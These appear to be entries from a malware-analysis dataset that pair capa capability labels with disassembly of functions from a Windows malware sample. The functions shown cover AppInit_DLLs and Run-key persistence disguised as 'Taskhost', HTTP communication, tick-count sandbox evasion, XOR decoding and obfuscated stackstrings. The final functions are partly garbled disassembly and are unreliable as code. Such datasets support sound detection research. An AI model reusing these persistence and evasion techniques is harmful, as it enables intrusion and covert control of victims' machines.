joyce8/EMBER2024-capa huggingface dataset:
Function at 0x408ab7
Capabilities:
Delete file
Persist via appinit_dlls registry key

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x804
push ebx
push esi
push edi
lea eax, [ebp - 4]
push eax
push 1
xor esi, esi
push esi
mov ebx, str.SoftwareMicrosoftWindows_NTCurrentVersionWindows
push ebx
mov edi, 0x80000002
push edi
mov dword [ebp - 4], esi
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x408afd
lea eax, [ebp - 0x804]
push eax
push str.AppInit_DLLs
lea esi, [ebp - 4]
call fcn.00406e7f
pop ecx
pop ecx
mov esi, eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
test esi, esi
jne 0x408b0b
xor eax, eax
jmp 0x408b40
lea eax, [ebp - 0x804]
push eax
call fcn.004056ef
cmp eax, 4
pop ecx
jbe 0x408b35
push 1
push 0x40fd08
push str.AppInit_DLLs
push ebx
push edi
call fcn.00406ebc
add esp, 0x14
jmp 0x408b40
push str.C:WINDOWS_system32gbdwpbm.dll
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x40a14c
Capabilities:
Read data from internet
Receive data

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1010
call fcn.0040da80
push edi
xor edi, edi
cmp dword [ebp + 0xc], edi
je 0x40a16c
push dword [ebp + 0xc]
call fcn.004056ef
pop ecx
jmp 0x40a16e
xor eax, eax
push edi
push 0x4400000
push eax
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp + 0x10]
call dword [sym.imp.WININET.dll_InternetOpenUrlW]
cmp eax, edi
mov dword [ebp - 4], eax
jne 0x40a192
xor eax, eax
jmp 0x40a2a4
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov eax, 0x2001
push esi
push eax
push edi
mov dword [ebp - 0xc], eax
mov dword [ebp + 0xc], eax
call ebx
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov esi, eax
cmp byte [esi], 0
jne 0x40a20e
xor eax, eax
jmp 0x40a2a2
mov eax, dword [ebp - 8]
test eax, eax
je 0x40a22c
cmp dword [ebp + 0xc], eax
mov byte [ebp + eax - 0x1010], 0
ja 0x40a1f0
mov eax, dword [ebp - 0xc]
add dword [ebp + 0xc], eax
add eax, eax
push eax
push esi
push 0
mov dword [ebp - 0xc], eax
call ebx
push eax
call dword [sym.imp.KERNEL32.dll_HeapReAlloc]
mov esi, eax
test esi, esi
je 0x40a1b7
push dword [ebp - 8]
lea eax, [ebp - 0x1010]
push eax
lea eax, [esi + edi]
push eax
call fcn.0040caa0
mov eax, dword [ebp - 8]
sub dword [ebp + 0xc], eax
add esp, 0xc
add edi, eax
lea eax, [ebp - 8]
push eax
push 0x1000
lea eax, [ebp - 0x1010]
push eax
push dword [ebp - 4]
call dword [sym.imp.WININET.dll_InternetReadFile]
cmp eax, 1
je 0x40a1be
lea eax, [edi + edi + 2]
push eax
push 0
call ebx
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
test eax, eax
mov ecx, dword [ebp + 0x14]
mov dword [ecx], eax
jne 0x40a24a
and dword [ebp - 4], eax
jmp 0x40a293
and dword [ebp + 0xc], 0
test esi, esi
mov dword [ebp - 4], 1
mov byte [esi + edi], 0
mov ecx, eax
je 0x40a289
test edi, edi
jbe 0x40a289
and word [ecx], 0
test edi, edi
jbe 0x40a289
mov edx, dword [ebp + 0xc]
movzx dx, byte [edx + esi]
mov word [ecx], dx
mov edx, dword [ebp + 0xc]
cmp byte [edx + esi], 0
je 0x40a289
inc dword [ebp + 0xc]
inc ecx
inc ecx
cmp dword [ebp + 0xc], edi
jb 0x40a26b
and word [eax + edi*2], 0
mov eax, dword [ebp + 0x18]
mov dword [eax], edi
push esi
push 0
call ebx
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov eax, dword [ebp - 4]
pop esi
pop ebx
pop edi
leave
ret
Function at 0x40a2a7
Capabilities:
Connect to http server
Read data from internet
Receive data
Send data
Send http request

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1210
call fcn.0040da80
push ebx
push esi
lea eax, [ebp - 0x210]
push edi
add edx, 0xe
push eax
call fcn.004057af
lea eax, [ebp - 0x210]
push eax
call fcn.004056ef
xor ebx, ebx
push 0x4263f0
mov word [ebp + eax*2 - 0x212], bx
call fcn.004056ef
add esp, 0xc
mov dword [ebp - 8], eax
call fcn.0040c3b6
cmp dword [ebp - 8], ebx
mov esi, eax
mov dword [ebp - 0xc], esi
mov dword [ebp - 4], ebx
jbe 0x40a341
movsx ax, byte [esi]
sub ax, 2
movzx ecx, ax
mov eax, dword [ebp - 4]
push 3
xor edx, edx
pop edi
div edi
sub edx, ebx
je 0x40a32d
dec edx
je 0x40a325
dec edx
jne 0x40a333
add ecx, 0xfffe
jmp 0x40a333
add ecx, 0xfffb
jmp 0x40a333
add ecx, 0xffff
mov byte [esi], cl
inc esi
inc dword [ebp - 4]
mov eax, dword [ebp - 4]
cmp eax, dword [ebp - 8]
jb 0x40a2fe
push ebx
push ebx
push 3
push ebx
push ebx
push 0x50
lea eax, [ebp - 0x210]
push eax
push dword [0x4124e4]
call dword [sym.imp.WININET.dll_InternetConnectW]
cmp eax, ebx
jne 0x40a364
xor eax, eax
jmp 0x40a3d9
push ebx
push 0x4400100
push ebx
push ebx
push ebx
push dword [ebp + 8]
push 0x410378
push eax
call dword [sym.imp.WININET.dll_HttpOpenRequestW]
mov esi, eax
cmp esi, ebx
je 0x40a360
push dword [ebp - 8]
push dword [ebp - 0xc]
push ebx
push dword [ebp + 0xc]
push esi
call dword [sym.imp.WININET.dll_HttpSendRequestW]
push dword [ebp - 0xc]
mov edi, eax
call fcn.0040c306
cmp edi, ebx
pop ecx
je 0x40a360
lea eax, [ebp - 0x10]
push eax
push 0x1000
lea eax, [ebp - 0x1210]
push eax
push esi
call dword [sym.imp.WININET.dll_InternetReadFile]
mov esi, eax
cmp esi, ebx
je 0x40a3d7
mov eax, dword [ebp - 0x10]
mov byte [ebp + eax - 0x1210], bl
mov ebx, dword [ebp + 0x10]
lea ecx, [ebp - 0x1210]
call fcn.0040c401
mov eax, esi
pop edi
pop esi
pop ebx
leave
ret

Function at 0x40a3de
Capabilities:
Check for time delay via gettickcount

Disassembly:
push 0x24
push 0x410a40
call fcn.0040d728
and dword [ebp - 4], 0
call fcn.00405aeb
movzx ecx, cl
inc ecx
cdq
idiv ecx
mov esi, edx
movzx eax, byte [ebp + 8]
add esi, eax
imul esi, esi, 0x3e8
mov edi, dword [sym.imp.KERNEL32.dll_GetTickCount]
call edi
mov ebx, eax
call edi
sub eax, ebx
cmp eax, esi
jae 0x40a45a
push 1
xor eax, eax
push eax
push eax
push eax
lea eax, [ebp - 0x34]
push eax
call dword [sym.imp.USER32.dll_PeekMessageW]
test eax, eax
je 0x40a43b
lea eax, [ebp - 0x34]
push eax
call dword [sym.imp.USER32.dll_DispatchMessageW]
jmp 0x40a41a
push 0x12c
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x40a412
or dword [ebp - 4], 0xffffffff
call fcn.0040d763
ret
Function at 0x40a464
Capabilities:
Check for time delay via gettickcount

Disassembly:
push 0x2c
push 0x410a30
call fcn.0040d728
xor ebx, ebx
mov dword [ebp - 4], ebx
or dword [ebp - 0x1c], 0xffffffff
xor edi, edi
mov esi, dword [sym.imp.KERNEL32.dll_GetTickCount]
call esi
mov dword [ebp - 0x20], eax
cmp edi, ebx
jl 0x40a4e3
cmp word [ebp - 0x1c], 0xffff
jne 0x40a4e3
call esi
sub eax, dword [ebp - 0x20]
cmp eax, 0x15f90
ja 0x40a4fe
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
push 1
push ebx
push ebx
push ebx
lea eax, [ebp - 0x3c]
push eax
call dword [sym.imp.USER32.dll_PeekMessageW]
test eax, eax
je 0x40a4c4
lea eax, [ebp - 0x3c]
push eax
call dword [sym.imp.USER32.dll_DispatchMessageW]
jmp 0x40a4a5
movzx eax, byte [ebp + 8]
imul eax, eax, 0x14
mov eax, dword [eax + 0x42a3f8]
mov ecx, dword [eax]
lea edx, [ebp - 0x1c]
push edx
push eax
call dword [ecx + 0x7c]
mov edi, eax
cmp edi, ebx
jl 0x40a4fe
jmp 0x40a486
or dword [ebp - 4], 0xffffffff
xor eax, eax
inc eax
jmp 0x40a504
or dword [ebp - 4], 0xffffffff
xor eax, eax
call fcn.0040d763
ret

Function at 0x40a609
Capabilities:
Find taskbar

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
cmp dword [0x4120a4], 0
push ebx
push esi
push edi
mov ebx, eax
jne 0x40a629
call fcn.0040a568
test eax, eax
mov dword [ebp - 8], eax
jne 0x40a63b
mov esi, ebx
call fcn.0040a50a
test eax, eax
mov dword [ebp - 8], eax
je 0x40a6f0
push str.eventConn
call dword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov ecx, dword [ebx]
mov edx, dword [ecx]
sub esp, 0x10
mov edi, esp
mov word [ebp - 0x18], 3
mov dword [ebp - 0x10], 1
lea esi, [ebp - 0x18]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
push eax
push ecx
movsd dword es:[edi], dword [esi]
call dword [edx + 0x88]
mov eax, dword [ebx]
mov ecx, dword [eax]
lea edx, [ebp - 4]
push edx
push eax
call dword [ecx + 0x94]
xor esi, esi
cmp dword [ebp - 4], esi
je 0x40a6d7
push esi
push str.Shell_TrayWnd
call dword [sym.imp.USER32.dll_FindWindowW]
cmp eax, esi
je 0x40a69b
push eax
push dword [ebp - 4]
call dword [sym.imp.USER32.dll_SetParent]
push 0xffffffffffffffec
push dword [ebp - 4]
call dword [sym.imp.USER32.dll_GetWindowLongW]
or eax, 0x80
push eax
push 0xffffffffffffffec
push dword [ebp - 4]
call dword [sym.imp.USER32.dll_SetWindowLongW]
push 0x10
push dword [0x4163e0]
mov eax, 0x1388
push dword [0x42191c]
push eax
push eax
push 1
push dword [ebp - 4]
call dword [sym.imp.USER32.dll_SetWindowPos]
mov eax, dword [ebx]
mov ecx, dword [eax]
push 0xffffffffffffffff
push eax
call dword [ecx + 0xa4]
mov ebx, dword [ebx]
mov eax, dword [ebx]
push esi
push ebx
call dword [eax + 0xf0]
mov eax, dword [ebp - 8]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x40a91c
Capabilities:
Create http request

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
and dword [ebp - 8], 0
test eax, eax
push ebx
push esi
push edi
jne 0x40a93e
movzx eax, byte [ebp + 8]
imul eax, eax, 0x14
mov edi, dword [eax + 0x42a400]
mov dword [ebp - 4], edi
jmp 0x40a943
mov dword [ebp - 4], eax
mov edi, eax
movzx esi, byte [ebp + 8]
imul esi, esi, 0x14
xor ebx, ebx
inc ebx
test dword [esi + 0x42a404], edi
je 0x40a9a6
cmp edi, ebx
jne 0x40a98a
cmp dword [0x42a3f4], ebx
jne 0x40a9aa
mov eax, dword [esi + 0x42a3f8]
test eax, eax
je 0x40a9aa
mov ecx, dword [eax]
lea edx, [ebp + 8]
push edx
push eax
call dword [ecx + 0xa0]
test eax, eax
jge 0x40a9a2
and dword [esi + 0x42a3f8], 0
and dword [esi + 0x42a404], 0xfffffffe
cmp edi, 2
jne 0x40a9a6
xor eax, eax
cmp dword [esi + 0x42a3fc], eax
jne 0x40a9a2
and dword [esi + 0x42a404], 0xfffffffd
jmp 0x40a9e3
mov eax, ebx
jmp 0x40aa17
cmp edi, ebx
jne 0x40a9dc
lea edi, [esi + 0x42a3f8]
mov eax, edi
call fcn.0040a609
cmp dword [0x42a3f4], ebx
mov dword [ebp - 8], eax
jne 0x40a9d6
test eax, eax
je 0x40a9d6
mov edi, dword [edi]
mov eax, dword [edi]
push edi
call dword [eax + 4]
or dword [esi + 0x42a404], ebx
jmp 0x40aa14
and dword [edi], 0
mov edi, dword [ebp - 4]
cmp edi, 2
jne 0x40aa14
xor eax, eax
push eax
push eax
push eax
push ebx
push eax
call dword [sym.imp.WININET.dll_InternetOpenW]
test eax, eax
mov dword [esi + 0x42a3fc], eax
je 0x40aa14
push 4
lea ecx, [ebp + 8]
push ecx
push 0x41
push eax
mov dword [ebp + 8], ebx
call dword [sym.imp.WININET.dll_InternetSetOptionW]
or dword [esi + 0x42a404], 2
mov dword [ebp - 8], ebx
mov eax, dword [ebp - 8]
pop edi
pop esi
pop ebx
leave
ret

Function at 0x40b0d3
Capabilities:
Persist via run registry key

Disassembly:
push ebp
mov ebp, esp
push ecx
and dword [ebp - 4], 0
push ebx
push esi
push edi
mov edi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
lea eax, [ebp - 4]
push eax
push 1
push 0
mov ebx, str.SOFTWAREMicrosoftWindowsCurrentVersionRun
push ebx
push 0x80000001
call edi
test eax, eax
jne 0x40b113
push dword [ebp + 8]
lea esi, [ebp - 4]
push str.Taskhost
call fcn.00406e7f
test eax, eax
pop ecx
pop ecx
jne 0x40b141
and dword [ebp - 4], 0
lea eax, [ebp - 4]
push eax
push 1
push 0
push ebx
push 0x80000002
call edi
test eax, eax
je 0x40b12f
xor eax, eax
jmp 0x40b141
push dword [ebp + 8]
lea esi, [ebp - 4]
push str.Taskhost
call fcn.00406e7f
pop ecx
pop ecx
pop edi
pop esi
pop ebx
leave
ret
Function at 0x40b817
Capabilities:
Copy file
Persist via run registry key
Query environment variable
Terminate process

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1800
call fcn.0040da80
push ebx
push esi
push edi
mov ebx, str.Taskhost_JustInstEvent
push ebx
xor edi, edi
push edi
push 2
call dword [sym.imp.KERNEL32.dll_OpenEventW]
cmp eax, edi
je 0x40b850
push eax
call dword [sym.imp.KERNEL32.dll_SetEvent]
push 4
push edi
push 3
call fcn.0040ac39
add esp, 0xc
call fcn.0040afb0
test eax, eax
je 0x40b85e
call fcn.0040b79f
call fcn.0040b02f
test eax, eax
mov esi, 0x400
je 0x40b8d1
push 0x2710
call dword [sym.imp.KERNEL32.dll_Sleep]
push 4
push edi
push 9
call fcn.0040ac39
add esp, 0xc
push esi
lea eax, [ebp - 0x1800]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea eax, [ebp - 0x800]
push eax
call fcn.0040b0d3
test eax, eax
pop ecx
je 0x40b8d1
push edi
lea eax, [ebp - 0x800]
push eax
lea eax, [ebp - 0x1800]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileW]
test eax, eax
je 0x40b8d1
lea eax, [ebp - 0x800]
push eax
call fcn.00407c97
pop ecx
push edi
call dword [sym.imp.KERNEL32.dll_ExitProcess]
call fcn.0040b08c
test eax, eax
je 0x40b944
lea eax, [ebp - 0x800]
push eax
call fcn.0040b0d3
lea eax, [ebp - 0x800]
push eax
call fcn.00407bce
test eax, eax
pop ecx
pop ecx
je 0x40b92f
lea eax, [ebp - 0x800]
push eax
call fcn.00407c97
test eax, eax
pop ecx
je 0x40b922
push ebx
push edi
push 1
push edi
call dword [sym.imp.KERNEL32.dll_CreateEventW]
push 0x7530
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
jmp 0x40b8ca
push 4
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push 0xb
jmp 0x40b93a
push 4
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push 1
call fcn.0040ac39
add esp, 0xc
jmp 0x40b8ca
push edi
call fcn.00407bce
cmp eax, edi
pop ecx
push esi
je 0x40b966
lea ecx, [ebp - 0x1000]
push ecx
push dword [eax*4 + 0x412040]
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
jmp 0x40b984
lea eax, [ebp - 0x1000]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov ecx, str.__nomove
lea eax, [ebp - 0x1000]
call fcn.0040578b
push 1
lea eax, [ebp - 0x1000]
push eax
push str.Taskhost
push str.SOFTWAREMicrosoftWindowsCurrentVersionRun
push 0x80000001
call fcn.00406ebc
add esp, 0x14
test eax, eax
je 0x40b9ca
lea eax, [ebp - 0x1000]
push eax
call fcn.00407c97
test eax, eax
pop ecx
jne 0x40b909
push 4
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push 0xb
jmp 0x40b9d5
push 4
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push 6
call fcn.0040ac39
add esp, 0xc
mov dword [0x412058], edi
jmp 0x40b859

Function at 0x40d236
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [section..data]
jne 0x40d240
repz ret
jmp fcn.0040d4db
Function at 0x401690
Capabilities:
Encode data using xor

Disassembly:
push ebp
push esp
pop ebp
sub esp, 0x10
push ebx
push esi
push edi
push edx
pop edi
push edi
push 0
push dword [section..data]
mov dword [ebp - 8], edi
push ecx
pop esi
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov ebx, edi
shr ebx, 2
mov dword [ebp - 4], eax
or ebx, ebx
je 0x4016d4
push esi
pop edi
mov ecx, eax
sub edi, eax
mov edx, ebx
mov eax, dword [edi + ecx]
mov dword [ecx], eax
lea ecx, [ecx + 4]
dec edx
jne 0x4016c3
mov edi, dword [ebp - 8]
mov eax, dword [ebp - 4]
shl ebx, 2
cmp ebx, edi
jae 0x4016ef
push edi
pop edx
sub esi, eax
lea ecx, [ebx + eax]
sub edx, ebx
mov al, byte [ecx + esi]
mov byte [ecx], al
lea ecx, [ecx + 1]
dec edx
jne 0x4016e4
mov eax, dword [ebp - 4]
lea esi, [edi - 8]
lea ecx, [eax - 8]
add ecx, edi
push esi
pop ebx
mov edx, dword [ecx + 4]
mov dword [ebp - 0x10], ecx
mov ecx, dword [ecx]
shr ebx, 2
and esi, 3
mov dword [ebp - 0xc], edx
mov dword [ebp - 8], ecx
or ebx, ebx
je 0x401731
lea ecx, [ebx + edx]
mov edx, dword [eax]
movzx ecx, cl
ror edx, cl
mov ecx, dword [ebp - 8]
add eax, 4
xor edx, ecx
sub edx, ebx
mov dword [eax - 4], edx
mov edx, dword [ebp - 0xc]
dec ebx
jne 0x401714
test esi, esi
je 0x40173d
xor byte [eax], cl
lea eax, [eax + 1]
dec esi
jne 0x401735
mov edi, dword [ebp - 0x10]
mov edi, dword [edi - 4]
push edi
push 0
push dword [section..data]
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov ebx, dword [ebp - 4]
push eax
pop esi
mov edx, esi
push ebx
pop ecx
call section..text
push ebx
push 0
push dword [section..data]
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp + 8]
mov dword [eax], edi
pop edi
mov dword [ecx], esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8

Function at 0x401000
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebx
push ecx
push edx
push esi
enter 0x84, 0
sub ebp, 0x82
mov dword [ebp - 2], 0
call fcn.00401533
mov ebx, eax
xor eax, eax
mov dword [ebp + 0x7e], eax
lea eax, [ebp + 0x7e]
push eax
mov eax, ebx
or al, 0x40
push eax
mov eax, 0x401dc7
sub eax, fcn.00401592
push eax
push fcn.00401592
call dword [sym.imp.KERNEL32.DLL_VirtualProtect]
cmp dword [ebp + 0x7e], 0
je 0x40107a
mov eax, ebx
lea edx, [ebp - 2]
call fcn.00401461
mov eax, ebx
lea ecx, [ebx + 0x1b600]
call fcn.004014b3
mov esi, ecx
mov eax, ebx
or si, 1
cdq
idiv esi
lea edx, [eax + ecx]
mov eax, ebx
lea ebx, [ebp - 2]
or eax, 0x402054
call fcn.00401592
xor eax, eax
lea esp, [ebp + 0x82]
pop ebp
pop esi
pop edx
pop ecx
pop ebx
ret

Function at 0x401533
Capabilities:
Encode data using base64 via winapi

Disassembly:
push ecx
push edx
enter 0x11c, 0
call dword [sym.imp.KERNEL32.DLL_GetTickCount]
lea eax, [ebp - 0xc]
push eax
call dword [sym.imp.USER32.DLL_GetCursorPos]
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x18]
push eax
push 1
push 1
lea eax, [ebp - 0x11c]
push eax
mov dword [ebp - 4], 0xa
mov byte [ebp - 0x11c], 0
call dword [sym.imp.CRYPT32.DLL_CryptBinaryToStringA]
movzx eax, byte [ebp - 0x18]
sub eax, 0x41
leave
pop edx
pop ecx
ret
Function at 0x40eb20
Capabilities:
Write file on windows

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xfffffff8
mov esi, ecx
test esi, esi
mov edi, eax
mov dword [esp], edx
je 0x40ec43
mov eax, dword [edi + 0xc]
test eax, eax
je 0x40eb5b
dec eax
je 0x40eb45
dec eax
je 0x40eb51
jmp 0x40eb5b
push 0xfffffffffffffff5
call sub.KERNEL32.DLL_GetStdHandle
mov dword [edi + 4], eax
jmp 0x40eb5b
push 0xfffffffffffffff4
call sub.KERNEL32.DLL_GetStdHandle
mov dword [edi + 4], eax
cmp dword [edi + 0xc], 0
je 0x40ebad
xor ebp, ebp
cmp esi, ebp
jle 0x40ebc9
push 0
lea eax, [esp + 8]
push eax
mov edx, esi
sub edx, ebp
cmp edx, 0x4000
jge 0x40eb80
mov ecx, esi
sub ecx, ebp
jmp 0x40eb85
mov ecx, 0x4000
push ecx
mov eax, dword [esp + 0xc]
add eax, ebp
push eax
push dword [edi + 4]
call sub.KERNEL32.DLL_WriteFile
test eax, eax
setne bl
and ebx, 1
test bl, bl
je 0x40ebc9
add ebp, 0x4000
cmp esi, ebp
jg 0x40eb67
jmp 0x40ebc9
push 0
lea eax, [esp + 8]
push eax
push esi
push dword [esp + 0xc]
push dword [edi + 4]
call sub.KERNEL32.DLL_WriteFile
test eax, eax
setne bl
and ebx, 1
test bl, bl
jne 0x40ec3f
cmp byte [edi + 0x14], 0
je 0x40ec3f
cmp dword [edi + 0xc], 0
jne 0x40ec3f
lea edx, [edi + 0x17]
mov eax, 0x41b998
call fcn.0040cca4
test al, al
je 0x40ec29
mov ecx, dword [esp + 4]
cmp ecx, esi
jae 0x40eb5b
cmp dword [esp + 4], 0
jbe 0x40eb5b
mov eax, edi
call fcn.0040ee68
push edx
push eax
mov eax, dword [esp + 0xc]
xor edx, edx
sub dword [esp], eax
sbb dword [esp + 4], edx
pop eax
pop edx
push edx
push eax
xor edx, edx
mov eax, edi
call fcn.0040edb0
jmp 0x40eb5b
lea ecx, [edi + 0x17]
mov eax, 0x41b998
xor edx, edx
call fcn.0040cc8c
jmp 0x40ec3f
mov byte [edi + 8], 1
pop ecx
pop edx
pop ebp
pop edi
pop esi
pop ebx
ret

Function at 0x40ed30
Capabilities:
Read file on windows

Disassembly:
push ebx
mov ebx, eax
push esi
push edi
push ecx
mov edi, edx
cmp dword [ebx + 0xc], 1
mov esi, ecx
jne 0x40ed57
cmp esi, 0x4e20
jle 0x40ed4d
mov esi, 0x4e20
push 0xfffffffffffffff6
call sub.KERNEL32.DLL_GetStdHandle
mov dword [ebx + 4], eax
push 0
lea eax, [esp + 4]
push eax
push esi
push edi
push dword [ebx + 4]
call sub.KERNEL32.DLL_ReadFile
test eax, eax
jne 0x40eda8
mov eax, ebx
call fcn.0040f070
test al, al
je 0x40ed8f
cmp esi, 0x4e20
jle 0x40ed8f
mov ecx, 0x4e20
mov edx, edi
mov eax, ebx
call fcn.0040ed30
jmp 0x40edab
cmp dword [ebx + 0xc], 1
jne 0x40eda3
call sub.KERNEL32.DLL_GetLastError
cmp eax, 0x6d
jne 0x40eda3
xor eax, eax
jmp 0x40edab
or eax, 0xffffffff
jmp 0x40edab
mov eax, dword [esp]
pop edx
pop edi
pop esi
pop ebx
ret

Function at 0x4101c8
Capabilities:
Enumerate pe sections

Disassembly:
push edi
xor edi, edi
movzx eax, word [ecx + 0x14]
movzx esi, word [ecx + 6]
test esi, esi
lea eax, [eax + ecx + 0x18]
jbe 0x4101fe
mov ecx, dword [eax + 8]
test ecx, ecx
jne 0x4101e5
mov ecx, dword [eax + 0x10]
mov edx, dword [eax + 0xc]
cmp dword [esp + 0xc], edx
jb 0x4101f6
add edx, ecx
cmp dword [esp + 0xc], edx
jb 0x410200
inc edi
add eax, 0x28
cmp edi, esi
jb 0x4101db
xor eax, eax
pop edi
pop esi
ret
Function at 0x4103bc
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov ax, word [edi + 6]
push es
cmp ax, bx
jbe 0x4103dd
lea ecx, [esi + 0xc]
movzx edx, ax
mov eax, dword [ecx + 4]
mov esi, dword [ecx]
add eax, esi
cmp dword [ebp - 8], eax
jae 0x4103d7
mov dword [ebp - 8], eax
add ecx, 0x28
dec edx
jne 0x4103c8
mov byte [ebp - 0x58], bl
mov byte [ebp - 0x57], bl
mov byte [ebp - 0x56], 0x58
mov byte [ebp - 0x55], bl
mov byte [ebp - 0x54], 0xe0
mov byte [ebp - 0x53], 0xc2
mov byte [ebp - 0x52], 0xd3
mov byte [ebp - 0x51], 0xf4
mov byte [ebp - 0x50], 0xde
mov byte [ebp - 0x4f], 0xd4
mov byte [ebp - 0x4e], 0xd3
mov byte [ebp - 0x4d], 0xc2
mov byte [ebp - 0x4c], 0xca
mov byte [ebp - 0x4b], 0xee
mov byte [ebp - 0x4a], 0xc9
mov byte [ebp - 0x49], 0xc1
mov byte [ebp - 0x48], 0xc8
mov byte [ebp - 0x47], 0xa7
call fcn.00410183
mov cl, 0xb6
xchg ebp, eax
jle 0x4103b9
inc ebp
test al, 0x50
call fcn.00410193
mov esi, dword [ebp + 0xc]
push eax
push esi
push dword [ebp + 8]
call fcn.00410148
add esp, 0x10
lea ecx, [ebp - 0xb0]
push ecx
call eax
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 0xac]
xor edx, edx
div ecx
xor edx, edx
mov dword [ebp - 0x8c], eax
mov eax, dword [ebp - 8]
div ecx
test edx, edx
je 0x410471
inc dword [ebp - 0x8c]
imul ecx, dword [ebp - 0x8c]
mov dword [ebp + 0xc], ecx
mov byte [ebp - 0x40], bl
mov byte [ebp - 0x3f], bl
mov byte [ebp - 0x3e], 0xec
mov byte [ebp - 0x3d], bl
mov byte [ebp - 0x3c], 0x45
mov byte [ebp - 0x3b], 0x7a
mov byte [ebp - 0x3a], 0x61
mov byte [ebp - 0x39], 0x67
mov byte [ebp - 0x38], 0x66
mov byte [ebp - 0x37], 0x72
mov byte [ebp - 0x36], 0x7f
mov byte [ebp - 0x35], 0x52
mov byte [ebp - 0x34], 0x7f
mov byte [ebp - 0x33], 0x7f
mov byte [ebp - 0x32], 0x7c
mov byte [ebp - 0x31], 0x70
mov byte [ebp - 0x30], 0x13
call fcn.00410183
pop es
aam 0xc3
lea eax, [ebp - 0x40]
push eax
call fcn.00410193
push eax
push esi
push dword [ebp + 8]
call fcn.00410148
add esp, 0x10
mov dword [ebp - 0x88], eax
call fcn.00410183
out dx, eax
invalid

Function at 0x410540
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push eax
mov byte [ebp - 0x6c], bl
mov byte [ebp - 0x6b], bl
mov byte [ebp - 0x6a], 0xbe
mov byte [ebp - 0x69], bl
mov byte [ebp - 0x68], 0x17
mov byte [ebp - 0x67], 0x28
mov byte [ebp - 0x66], 0x33
lcall 0xc635, 0x9b45c633
inc ebp
pushfd
xor al, 0xc6
inc ebp
popfd
and dh, al
inc ebp
sahf
sub eax, 0x119f45c6
mov byte [ebp - 0x60], 0x33
mov byte [ebp - 0x5f], 0x2e
mov eax, dword [0xa245c62e]
xor eax, 0x24a345c6
mov byte [ebp - 0x5c], 0x22
mov byte [ebp - 0x5b], 0x35
mov byte [ebp - 0x5a], 0x41
call fcn.00410193
push eax